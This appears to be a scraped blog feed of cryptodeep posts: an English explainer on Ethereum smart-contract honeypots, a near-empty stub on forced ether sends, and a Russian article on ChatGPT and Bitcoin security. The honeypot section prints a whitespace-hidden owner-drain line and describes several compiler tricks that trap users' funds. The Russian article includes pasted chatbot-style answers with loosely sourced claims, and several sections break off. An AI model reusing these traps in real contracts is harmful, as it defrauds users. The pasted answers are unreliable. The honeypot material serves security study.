This contract relies on a very simple yet effective technique. It uses a lot of whitespaces to push some of the code to the right and out of the immediate visibility of the editor if horizontal scrolling is enabled (WhaleGiveaway1). When you try this locally in Remix and you purely rely on the scrolling technique like in WhaleGiveaway1 then the trick actually does not work. It would be effective if an attacker copies the code and is actually able to exploit the issue locally but then fails on the main net. This can be done using block numbers. Based on what network is used the block numbers vary significantly from the main net.

Ganache: starts from 0

Testrpc: starts from 1150000

Ropsten: a few weeks ago around 2596174

Main net: a few weeks ago around 5040270

Therefore the first if statement is only true on the main net and transfers all ETH to the owner. On the other networks the “invisible” code is not executed.

if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}}

EtherScan also had the horizontal scrolling enabled, but they deactivated it a few a few weeks ago.

TL;DR

Smart contract honeypot authors form a very interesting sub culture among a larger group of hackers trying to profit from vulnerable smart contracts. In general I would like to give anyone the following advice:

  • Be careful where you send your ETH, it could be a trap.

  • Be nice and don’t steal from people.

I have created a Github repo for honeypot smart contracts here. Should you have any honey pot contracts yourself that you want to share please feel free to push them to the repo or share them in the comments.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

https://cryptodeep.ru/doc/The_Art_of_The_Scam_Demystifying_Honeypots_in_Ethereum_Smart_Contracts.pdf

Honeypot programs are one of the best tools that security researchers have ever made to study the new or unknown hacking techniques used by attackers. Therefore, using honeypots in smart contract could be a very good idea to study those attacks. So what is honeypot in smart contract?

Honeypots in the Blockchain industry is an intentionally vulnerable smart contract that was made to push attackers to exploit its vulnerability. The idea is to convince attackers or even simple users to send a small portion of cryptocurrency to the contract to exploit it, then lock those ethers in the contract.

In this blog post, you are going to see some examples of those honeypots with a detailed technical explanation of how they work. So if you are interested to learn more about this subject just keep reading and leave a comment at the end.

What is honeypot in smart contract?

A honeypot is a smart contract that purports to leak cash to an arbitrary user due to a clear vulnerability in its code in exchange for extra payments from that user. The monies donated by the user to the vulnerable contract get then locked in the contract and only the honeypot designer or attacker will be able to recover them.

The concept of a honeypot is well known in the field of network security and was used for years by security research. The main objective of using them was to identify new or unknown exploits or techniques already used in the wild. In addition, Honeypots were used to identify zero-day vulnerabilities and report them to vendors. This technique was basically designed to trap black hat hackers and learn from them.

However, with the rise of Blockchain technology and the smart contract concept.

Blockchain is the new trending technology in the market, many companies start to implement it to solve multiple problems. Usually, this technology manages the different types of user information related to their money. Therefore, to secure this technology you should first understand how it works. Blockchain technology can be seen as a 6 layer system that works together. Therefore, what are the six layers of blockchain technology?

The Blockchain technology is built upon 6 main layers that are:

  1. The TCP/IP network

  2. Peer-to-Peer protocols

  3. Consensus algorithms

  4. Cryptography algorithms

  5. Execution (Data blocs, Transactions, …)

  6. Applications (Dapps, smart contracts …)

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

Black hat hackers started to use this concept to trap users both with good or bad intentions.

The idea is simple, the honeypot designer creates a smart contract and puts a clear vulnerability in it. Then hid a malicious code in its smart contract or between its transactions to block the right execution of the withdraw function. Then he deploys the contract and waits for other users to get into the trap.

Best 10 solidity smart contract audit tools that both developers and auditors use during their audit?

  1. Slither

  2. Securify

  3. SmartCheck

  4. Oyente

  5. Mythril

  6. ContractFuzzer

  7. Remix IDE static analysis plug-in

  8. Manticore

  9. sFuzz

  10. MadMax

Honestly, the honeypots concept in blockchain is just exploiting the greedy of users that cannot see the whole picture of the smart contract and does not dig deeper to understand the smart contract mechanism and code.

What actually makes this concept even more dangerous in the context of blockchain is that implementing a honeypot is not really difficult and does not require advanced skills. In fact, any user can implement a honeypot in the blockchain, all it needs is the actual fees to deploy such a contract in the blockchain.

In fact, in the blockchain, the word “attacker” could be given to both the one who deploys the smart contract honeypot and the one trying to exploit it (depending on his intention). Therefore, in the following sections of this blog post, we will use the word “deployer” to the one who implements the honeypot and “user” to the one trying to exploit that smart contract.

What are the types of smart contract honeypots?

Honeypots in smart contract can be divided into 3 main categories depending on the used techniques:

  • EVM based smart contract honeypots

  • Solidity compiler-based smart contract honeypots

  • Etherscan based smart contract honeypots

The main idea of honeypot in the network context is to supervise an intentionally vulnerable component to see how it can be exploited by hackers. However, in smart contract the main idea is to hide a behavior from users and trick them to send ether to gain more due to the vulnerability exploitation.

six things you should do to prevent using components with known vulnerabilities:

  • Use components from official repositories

  • Remove unused components

  • Only accept components with active support

  • Put a vulnerability management system for you components

  • Put in place a components firewall

  • Remove or replace components with a stopped support

Therefore, what actually defines each smart contract honeypot category is the used technique to hide that information from users.

The first category of smart contract honeypot is based on the way the EVM instruction is executed. It is true that the EVM follow an exact set of rules, however, some instruction requires a very good experience with the way EVM works to be able to detect the honeypot otherwise the user could easily be fooled.

The second category of smart contract honeypot is related to the solidity compiler. In other words, the smart contract honeypot builder should have a good experience with smart contract development and a deep understanding of how Solidity compiler would work. For example, the way inherence is managed by each version of the solidity compiler, or when overwriting variables or parameters would happen.

The third category of smart contract honeypot is based on hiding things from the users. Most users that try to exploit a program look for the easier way to do so (quick wins). Therefore, they may not take the time to analyze all parts of the vulnerable smart contract. This user behavior leads to locking his money in the smart contract. In this blog post, we are going to discuss 4 techniques used by deployers to hide an internal behavior from the users and therefore fool the user.

In my opinion the second category of honeypots is the most difficult to detect as it require a deep knowledge of the solidity compiler.

EVM based smart contract honeypots

The EVM-based smart contract honeypots have only one subtype called balance disorder. I think the best way to understand how this type of smart contract honeypots works, is by example. So take a look at the following example:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

This example is taken from the following contract: https://etherscan.io/address/0x8b3e6e910dfd6b406f9f15962b3656e799f60d2b#code

A quick look at this function from a user, he can easily understand that if he sends while calling this function more than what the contract balance actually has, then everything in the contract plus what he sends will be sent back to him. Which is obviously a good deal.

However, what a user could miss in this quick analysis of the smart contract is that the contract balance will be incremented as soon as the function of the call is performed by the user. This means that the msg.value will always be lower than the contract balance no matter what you do. Therefore, the condition will never be true and the contract will be locked in this contract.

Another example of the balance disorder type of honeypot could be found here:

https://etherscan.io/address/0xf2cf114be39a48aa2321ed39c1f132da0c51e453

By visiting this link you can see that there is no source code out there. So there are two ways to analyze this contract. The first one and the most difficult is to get the bytecode of this smart contract and then try to understand and reverse engineer it. Or the second way is to try to decompile it using different tools available to get an intermediate and easy-to-understand source code.

I personally used the second technique to accelerate the analysis and simply used the Etherscan default decompile. In the smart contract you want to decompile you can click here:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

And wait for a moment about 30 seconds to get the source code.

By taking a look at the source code, and especially at the “multiplicate” function you can now easily see the same logic as the previously explained example.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

The condition in line 24 will never be verified and the money will be stuck in the contract.

Solidity compiler-based smart contract honeypots

As I said, this category of smart contract honeypots is based on some deep knowledge about how the Solidity compiler works. In the following subsection, I will give you 4 techniques that are used to build this kind of smart contract honeypots. However, other unknown techniques might be used in the wild, and I will do my best to update this blog post whenever I found a new one. Please comment below and tell me if you know a technique that was not noted in this blog post.

Inheritance Disorder technique

One of the most confusing systems in solidity language or even in other programming languages is inheritance. A lot of hidden aspects in this concept could be used by deployer to fool the users and work contrary to what is expected.

In solidity language, a smart contract can implement the inheritance concept by using the word “is” followed by the different smart contract that this one wants to inherit their source code. Then only one smart contract is created and the source code from the other contracts is copied into it.

To better understand how such a mechanism could be exploited to create honeypots please take a look at the following examples:

Example1:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

You can find this contract here: https://etherscan.io/address/0xd3bd3c8fb11429b0deee5301e72b66fba29782c0#code

If you take a look at this contract source code, you can easily notice that it has an obvious vulnerability related to access control. The function setup allows a user to change the owner of this contract without checking if he is the actual owner. Therefore, the user would be able to execute the withdraw function to get the money.

However, this analysis assumes that the isOwner() function inherited from the Ownable contract is going to check the local variable Owner.

Unfortunately, this is not what will actually happen. The inheritance creates a different variable for each contract even if they have the same name. The variable Ownable.Owner is totally different than the ICO.Owner. Therefore, when the user will call the setup() function, this one will change the value of ICO.Owner and not Ownable.Owner. This means that the result of the isOwner() will remain the same.

Example2

Another example of this same type of solidity compiler-based honeypot can be found here. The same logic applies to this smart contract. The Owner variable will not change by calling the setup() function.

Skip Empty String Literal

Another tricky behavior in solidity compiler that may not be very easy to discover is the skip empty string literal. The skip empty string literal problem happens in solidity when a function is called with an empty string as a parameter. This is a known bug in solidity compilers before 0.4.13 here is a reference for it.

The encoder skips the empty string literal “” when used as a parameter in a function call. As a result, the encoding of all subsequent arguments is moved left by 32 bytes, causing the function call data to be malformed.

This kind of honeypot could be easily detected, by just looking at the solidity compiler version and then scrolling down the source code to see if there is any use of the empty string in a function call. However, a knowledge of this bug is required to detect the problem in the smart contract.

Here is a simple example of this honeypot:

Check the following smart contract: https://etherscan.io/address/0x2b990227344300aded3a072b3bfb9878b209da0a#code

The source code is a little bit long so I will put just the most important functions:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

In the divest() function line 83, the external function call to loggedTransfer() with the empty string will result in shifting the parameters by 32 bytes which leads to replacing the target address from msg.sender to the owner address. Therefore, the user will send the money to the owner of the contract and not his own address. This simply means that the user will never be able to retrieve the money he sent to this smart contract.

This behavior happens only in case of calling the function externally with the this.function().

Type Deduction Overflow

The Solidity compiler offers a nice feature that helps developers declare a variable without knowing exactly what type it would be. This could be made by creating a variable with the keyword “var” and the compiler will deduce what type is better for that result. However, this technique may cause a problem called type deduction overflow.

This problem could be used in a smart contract honeypot to cause a revert and then lock the money on the contract. To better illustrate this problem please take a look at the following source code:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

You can check the whole code here:

https://etherscan.io/address/0x48493465a6a2d8db8616a3c7288a9f81d54a8835#code

In this contract the Double() function allow a user to double his money by first sending at least more than one ether and then looping to create the value of the ethers that will be sent to the user. This seems to be a nice and easy smart contract to exploit.

However, this contract loop will never reach even half of the value sent by the user. The reason behind this is the way the variable “i” is declared. The “var” keyword, will create a variable with a type of uint8 due to the 0 value affected to it in the beginning. The code should loop till it gets to msg.value which is a uint256 and the value would be more than 1 with 18 digits. However, the size of the “i” variable can only reach 255 then once incremented will get back to 0. Therefore, the loop will end and all that the user will receive is 255 wei.

Uninitialized Struct

The uninitialized structure is a common problem in solidity and could be seen both as a vulnerability and as a way to trick users. In this blog post, I am going to discuss the tricky part of this problem. However, if you want me to discuss how this could be a vulnerability, please comment below and I will be happy to make a blog post about it.

An uninitialized structure problem happens when a structure variable is not initialized at the moment of its creation. When a structure variable is not initialized in the same line as its creation with the keyword “new”, the solidity compiler point that variable to the first slot of the smart contract. This simply means the variable will be pointing to the first variable of the smart contract. Once the developer starts affecting values to the structure variable, the first element value of the structure will overwrite the first variable value.

This concept is used by smart contract honeypots deployer to trick users to send money to exploit an obvious vulnerability in it.

Here is an example of such a honeypot:

https://etherscan.io/address/0x29ed301f073f62acc13a2d3df64db4a3185f1433#code

contract: https://etherscan.io/address/0x8bbf2d91e3c601df2c71c4ee98e87351922f8aa7#code

https://etherscan.io/address/0xdc5c87ba250b65a83042333f1101940b74312a65#code

This way, unless the attacker’s contract’s balance increases, the transaction fails altogether. The creator of the honeypot wants to prevent an attacker from using this trick to protect themselves.

Literature:

Conclusion

Honeypots are a moral grey area for me. Is it OK to scam those who are looking to steal from contracts? I don’t think so. But I do not feel very strongly about this. In the end, if you got scammed, it is because you were searching for smart contracts to steal from to begin with.

These scams play on the greed of people who are smart enough to figure out an apparent vulnerability in a contract, yet not knowledgeable enough to figure out what the underlying trap is.

If you want to get deeper into Smart Contract security, check this amazing wargame called Capture the Ether. It’s a fun way to hone your skills and train your eye for suspicious Solidity code.

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/UrkOGyuuepE

Source: https://cryptodeep.ru/solidity-vulnerable-honeypots

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

Криптоанализ

Показать полностью 24

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Smart Contract Vulnerabilities

Further Reading

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак Криптовалюта, Биткоины, NFT, Эфириум, Инновации, Криптокошелек, Криптография, Видео, YouTube, Длиннопост

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/lqjsHB2r6gU

Source: https://cryptodeep.ru/solidity-forcibly-send-ether-vulnerability

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак Криптовалюта, Биткоины, NFT, Эфириум, Инновации, Криптокошелек, Криптография, Видео, YouTube, Длиннопост

Криптоанализ

Показать полностью 2

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак

Биткоин является примером децентрализованной сети. Нет людей или организаций, которые контролируют его. Это часть его архитектуры. Для многих создание Bitcoin Cash под предлогом того, что блоки с большим объемом памяти были бы выгодны, рассматривается большинством членов сообщества как пример атаки на децентрализацию. зависимость от сети заинтересованной группы и ее технологий для майнинга и размещения узлов.

Национальные (и даже наднациональные, такие как Европейский Союз) органы власти также стремятся к централизованному контролю. Эти политические институты иногда предназначены для запрета использования и эксплуатации Биткоинов кем-либо, кроме властей. Однако дизайн сети помешал этой альтернативе, заставив их испытать третью и самую большую опасность для Биткоина, по словам этого автора.

ChatGPT стал неотъемлемым инструментом, который большинство людей ежедневно использует для автоматизации различных задач. Если вы использовали ChatGPT какое-то время, вы бы поняли, что он может давать неправильные ответы и ограничивает нулевой контекст по некоторым нишевым темам. Это поднимает вопрос о том, как мы можем подключиться к chatGPT, чтобы преодолеть разрыв и позволить ChatGPT иметь больше пользовательских данных.

Огромное количество знаний распространяется на различных платформах, с которыми мы ежедневно взаимодействуем, т. е. через вики-страницы confluence на работе, слабые группы, корпоративную базу знаний, Reddit, Stack Overflow, книги, информационные бюллетени и документы Google, которыми делятся коллеги. Отслеживание всех этих источников информации само по себе является работой на полный рабочий день.

Было бы неплохо, если бы вы могли выборочно выбирать источники данных и с легкостью передавать эту информацию в диалог ChatGPT с вашими данными?

Согласно нашему криптоанализу: “Blockchain Attack Vectors & Vulnerabilities to Smart Contracts” Растущая популярность Биткоинов привлекает хакеров и других злоумышленников. Но что на самом деле могут сломать эти хакеры?

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Существует несколько уровней безопасности Биткоин. Мы можем говорить о майнинге и потенциальных атаках 51% для реорганизации самых последних блоков, мы можем изучить шансы взломать кошелек, чтобы найти его закрытый ключ, или мы можем пойти по легкому пути и предположить рост социальных атак ( злонамеренный разработчик, вставляющий вредоносный код, или отдельные пользователи Биткоинов, которых обманом заставляют потерять свои монеты).

Прежде всего, атака 51% — одна из самых больших угроз безопасности Биткоина, и она является частью схемы Proof of Work. Идея о том, что простое большинство хешрейта майнеров может действовать недобросовестно, является серьезным вектором атаки. Однако стимулы так называемого консенсуса Накамото устроены таким образом, что играть по правилам выгоднее, чем пытаться атаковать систему. Покупка и аренда оборудования для майнинга, а затем потребление большого количества электроэнергии для двойного расходования транзакций и реорганизации самых последних блоков — совсем недешевое удовольствие.

При хешрейте более 360 экзахэшей в секунду даже самые изобретательные правительства и транснациональные корпорации в мире будут бороться за то, чтобы накопить 51%. Кроме того, суперкомпьютеры не оптимизированы для запуска хэшей SHA-256, как Биткоин ASIC, поэтому, если вы соберете вместе все суперкомпьютеры в мире, вы получите лишь эквивалент очень крошечного и незначительного пула майнинга.

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост
ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Атака 51% на Биткоин требует покупки или аренды дефицитного и узкоспециализированного оборудования, которое в настоящее время используется для защиты сети, при этом получая вознаграждение за игру по правилам. Финансовые стимулы имеют значение, и до сих пор майнеры оставались честными, сосредоточенными на своей цели и эффективно использовали энергию. Любой, кто преследует этот тип атаки на Биткоин, требует много ресурсов для его поддержания.

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Самый большой риск, с которым сталкивается злоумышленник, заключается в том, что честные участники сети разветвляются на новую цепочку, которая копирует набор UTXO, чтобы сохранить законное право собственности на монету. Такие усилия не дают никаких гарантий какой-либо прибыльности или успеха, что в лучшем случае может послужить политическим FUD против безопасности сети. Если финансовые стимулы останутся постоянными, мы, скорее всего, никогда не увидим серьезной атаки 51%.

ChatGPT, языковой бот с искусственным интеллектом, покоривший мир, только что добавил больше огневой мощи в свой арсенал благодаря выпуску новых плагинов OpenAI. Эти плагины открывают широкий спектр сторонних источников знаний и баз данных, включая Интернет, тем самым расширяя его и без того впечатляющие функциональные возможности.

Интеграция этих новых плагинов может изменить правила игры для инвесторов и трейдеров в криптоиндустрии. Однако влияние этой интеграции на криптоиндустрию еще предстоит увидеть.

Биткоин — это валюта, обеспечивающая абсолютную собственность.

Это означает, что после того, как транзакция была передана и подтверждена в блоке, она стала необратимой. Таким образом, каждый пользователь несет ответственность за защиту своего богатства в меру своих знаний и возможностей в соответствии с моделью реальной угрозы. Прежде чем создавать какие-либо настройки, вы должны спросить себя: «Кто является самым опасным противником, который, вероятно, попытается украсть мои монеты?».

Если вы делитесь компьютером с другими людьми, вам не следует оставлять незашифрованные файлы кошелька. Если вы путешествуете, то не стоит носить с собой устройства, которые показывают, что вы носите Биткоины (обычно аппаратный кошелек легче распознать и он вызывает больше подозрений, чем ноутбук или лист бумаги). Если у вас есть дети или любопытный супруг, который может вмешиваться в ваши картотечные шкафы и ящики, то лучше не держать резервную копию в пределах досягаемости. Если вы живете в плохом районе с высоким уровнем преступности, вам, вероятно, следует избегать хранения резервных копий Биткоинов в вашем доме. А если вашему району угрожают наводнения, пожары, извержения вулканов или землетрясения,

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Однако наиболее распространенной угрозой являются интернет-хакеры. Вы можете найти этих преступников в виде лиц, которые незаконно пытаются взломать ваш компьютер, а также бизнесменов в костюмах, которые разрабатывают системы, которые по сути крадут ваши монеты в рамках закона. Из первой категории вы можете выделить людей, которые кодируют вредоносное ПО или подружатся с вами, чтобы позже попросить денег (будь то нигерийский принц или модель OnlyFans, которая отчаянно нуждается в помощи). Вторая категория состоит из бирж и банков, которые обещают хранить ваши монеты в безопасной среде, но ограничивают вас от вывода, когда их бизнес-модель находится под угрозой. Вы должны избегать обоих этих хакеров любой ценой, так как они, скорее всего, украдут ваш Биткоин.

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Конечно, вот несколько конкретных примеров того, как криптовалюты и технология блокчейна используются в реальных приложениях:

  1. Управление цепочкой поставок: IBM использует основанную на блокчейне систему под названием TrustChain для отслеживания движения алмазов от рудников до розничных продавцов. Система позволяет каждому участнику цепочки поставок проверять подлинность бриллиантов и обеспечивать их бесконфликтность.

  2. Управление идентификацией: правительство Гондураса использует систему на основе блокчейна для управления правами на землю своих граждан. Система позволяет землевладельцам безопасно регистрировать и передавать право собственности на свою собственность, снижая риск мошенничества и коррупции.

  3. Торговля энергией: стартап LO3 Energy использует основанную на блокчейне платформу TransActive Grid, чтобы позволить жителям Бруклина, штат Нью-Йорк, покупать и продавать возобновляемую энергию друг у друга. Платформа позволяет пользователям покупать и продавать энергию с помощью криптовалюты Exergy, создавая более эффективный и устойчивый энергетический рынок.

  4. Голосование: в 2018 году канцелярия госсекретаря Западной Вирджинии провела пилотную программу, в которой для голосования на первичных выборах в штате использовалась основанная на блокчейне система под названием Voatz. Система позволяла военнослужащим и другим избирателям, находящимся за границей, безопасно голосовать с помощью своих смартфонов.

Это всего лишь несколько конкретных примеров того, как криптовалюты и технология блокчейн используются в реальном мире. Есть много других подобных приложений, и по мере того, как технология продолжает развиваться, вполне вероятно, что будут разрабатываться все более и более инновационные способы ее использования.

Криптоиндустрия предполагает, что криптотехнологии могут быть использованы для целей интеллектуальной собственности, таких как эволюция системы патентования изобретений.

Криптовалюты и технология блокчейн могут революционизировать способы управления и защиты интеллектуальной собственности. Одним из ключевых преимуществ этой технологии является возможность создания безопасных децентрализованных систем хранения и проверки информации. Это можно использовать для создания более эффективных и прозрачных систем защиты интеллектуальной собственности, такой как патенты, авторские права и товарные знаки.

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Например, технологию блокчейн можно использовать для создания защищенной и децентрализованной базы данных патентов, позволяющей изобретателям легко регистрировать и защищать свои изобретения. Блокчейн можно использовать для хранения сведений о каждом патенте, включая имя изобретателя, дату изобретения и описание изобретения. Эта информация может быть проверена и проверена с использованием криптографических методов, что гарантирует ее подлинность и целостность.

Помимо создания более эффективных и прозрачных систем защиты интеллектуальной собственности, технология блокчейн может также использоваться для защиты прав интеллектуальной собственности. Например, смарт-контракты можно использовать для автоматического обеспечения соблюдения лицензионных соглашений, гарантируя, что изобретатели и создатели получат надлежащее вознаграждение за свою работу.

В целом, использование криптовалют и технологии блокчейн может значительно улучшить способы управления и защиты интеллектуальной собственности. Поскольку технология продолжает развиваться, вполне вероятно, что будет разрабатываться все больше и больше приложений для этой технологии в сфере интеллектуальной собственности.

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост
ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Хотя размещение ваших монет на каком-либо банковском счете удобно, такой тип действий противоречит цели проекта Биткоин и значительно уменьшает ваш собственный финансовый суверенитет. Доверенные третьи стороны — это дыры в безопасности, и вы никогда не должны доверять человеку или компании, которые обещают удерживать ваши BTC в обмен на безопасность и/или доход.

Конечно, существуют и другие типы социальных атак: поддельные электронные письма при обмене с просьбой подтвердить сид-фразу в ответе, звонящие, выдающие себя за службу кошелька, которая просит вас подтвердить ваши данные (иногда даже домашний адрес). перехвачены и скомпрометированы с помощью вставки сид-фразы BIP39 (злоумышленники оставляют в коробке свою сид-фразу, надеясь, что пользователи-новички отправят туда свои монеты), атак с ключом за 5 долларов и имитаторов, которые выдают себя за друзей или членов семьи, которым срочно нужны деньги доставка. Это те, которые становятся более распространенными по мере роста цены и распространения. Вот почему вам нужно знать о них и защищать себя, сводя к минимуму объем данных, которые вы предоставляете об услугах, которые вы используете, о месте, где вы живете, и о количестве Биткоинов, которые у вас есть.

Возвращаясь к аргументу ChatGPT, было бы неискренним предполагать, что мошенники представляют серьезную угрозу для Биткоина. Сеть будет существовать и продолжать функционировать вопреки ворам. Конечно, многие люди могут бояться и отталкиваться от мысли об ответственности. Но мы не должны забывать, что решения для самообслуживания также со временем становятся более безопасными и удобными для пользователя. Слои Биткоина также становятся более развитыми, и открываются новые способы использования и хранения ваших денег. Например, проект Fedimint планирует создать общественные банки, в которых пользователи смогут разблокировать свои средства только с помощью селфи.

Самое главное — создать культуру справедливости, подотчетности, передовой практики и правды.

Возможно, криптотехнологии используются для отслеживания научных исследований? Или может есть такое приложение?

Да, криптовалюты и технология блокчейн изучаются как потенциальные инструменты для отслеживания и управления научными исследованиями. Одной из ключевых проблем в научном сообществе является необходимость обеспечения целостности и прозрачности данных исследований. Технология блокчейн с ее способностью создавать безопасные и децентрализованные базы данных может решить эту проблему.

Например, систему на основе блокчейна можно использовать для отслеживания хода научного исследования, от первоначального исследовательского предложения до окончательной публикации результатов. Блокчейн можно использовать для хранения деталей исследования, включая вопросы исследования, гипотезы, методы, результаты и выводы. Эта информация может быть подтверждена и проверена с использованием криптографических методов, обеспечивающих ее подлинность и целостность.

Помимо отслеживания хода научных исследований, технологию блокчейн можно также использовать для управления процессом рецензирования. Блокчейн можно использовать для хранения обзоров и комментариев других ученых, что позволит исследователям легко просматривать и учитывать отзывы в своей работе. Это могло бы помочь улучшить качество и прозрачность процесса рецензирования.

В целом, использование криптовалют и технологии блокчейн в сфере научных исследований может значительно повысить целостность и прозрачность исследовательского процесса. Поскольку технология продолжает развиваться, вполне вероятно, что будет разрабатываться все больше и больше приложений для этой технологии в области науки, и их приложениях:

  • Криптовалюты — это цифровые активы, которые используют криптографию для защиты и проверки транзакций. Самая известная криптовалюта — Биткоин, но есть и много других, таких как Ethereum и Litecoin.

  • Технология Blockchain — это базовая технология, которая поддерживает криптовалюты. Это децентрализованная, безопасная и прозрачная база данных, которая позволяет пользователям хранить и проверять информацию без необходимости в центральном органе.

  • Одним из ключевых применений криптовалют и технологии блокчейн является цифровая рекламная индустрия. Такие проекты, как Basic Attention Token (BAT) и AdChain, используют эту технологию для создания более эффективных и прозрачных систем покупки и продажи рекламы.

  • Криптовалюты и технология блокчейна также используются во множестве других приложений, включая управление цепочками поставок, управление идентификацией, торговлю энергией и голосование.

  • В будущем криптовалюты и технология блокчейн, вероятно, получат более широкое распространение и будут интегрированы в основные финансовые и другие системы. Ключевые факторы, которые будут определять будущее этой технологии, включают разработку более удобных и безопасных технологий, принятие криптовалюты большим количеством предприятий и учреждений, а также регулирование рынка правительствами и другими организациями.

В мире есть несколько правительств, которые приняли криптовалюты и изучают способы использования этой технологии для улучшения своей экономики. Например, как вы упомянули, правительство Сальвадора недавно попало в заголовки газет, став первой страной в мире, принявшей Биткоин в качестве законного платежного средства. Президент страны Наиб Букеле объявил о планах использовать Биткоин для финансирования проектов государственной инфраструктуры и стимулирования экономического роста.

Помимо Сальвадора, есть и другие правительства, которые также изучают возможности использования криптовалют и технологии блокчейн. Например, правительство Барбадоса объявило о планах по запуску цифровой валюты Bitt, которая будет привязана к барбадосскому доллару и будет использоваться для транзакций внутри страны. Правительство Туниса также запустило цифровую валюту под названием eDinar, которая используется для различных приложений государственного сектора, включая здравоохранение и образование.

В целом очевидно, что криптовалюты и технология блокчейн получают все большее признание и признание на правительственном уровне. Поскольку технология продолжает развиваться, вполне вероятно, что все больше и больше правительств будут изучать способы использования этой технологии для улучшения своей экономики и предоставления более качественных услуг своим гражданам.

Любые подобные приложения в США или Европе?

Да, в США и Европе есть несколько правительств, которые изучают возможности использования криптовалют и технологии блокчейн. Например, в Соединенных Штатах штат Огайо объявил о планах принять Биткоин в качестве формы оплаты налогов и других государственных сборов. В Европе правительство Эстонии использует систему на основе блокчейна для управления медицинскими записями своих граждан, а правительство Швейцарии работает над системой голосования на основе блокчейна.

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Помимо государственных приложений, в США и Европе также есть много компаний частного сектора, которые изучают возможности использования криптовалют и технологии блокчейн. Например, JPMorgan Chase, крупнейший банк США, разработал собственную криптовалюту под названием JPM Coin, которая используется для облегчения транзакций между его клиентами. В Европе энергетическая компания EON использует платформу на основе блокчейна, чтобы позволить своим клиентам покупать и продавать возобновляемую энергию друг у друга. В целом очевидно, что использование криптовалют и технологии блокчейн получает все большее признание и признание в Соединенных Штатах и Европе.

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост

Поскольку технология продолжает развиваться, вполне вероятно, что все больше и больше правительств и предприятий в этих регионах будут изучать способы использования этой технологии для улучшения своей деятельности и предоставления более качественных услуг своим клиентам.

Заключение:

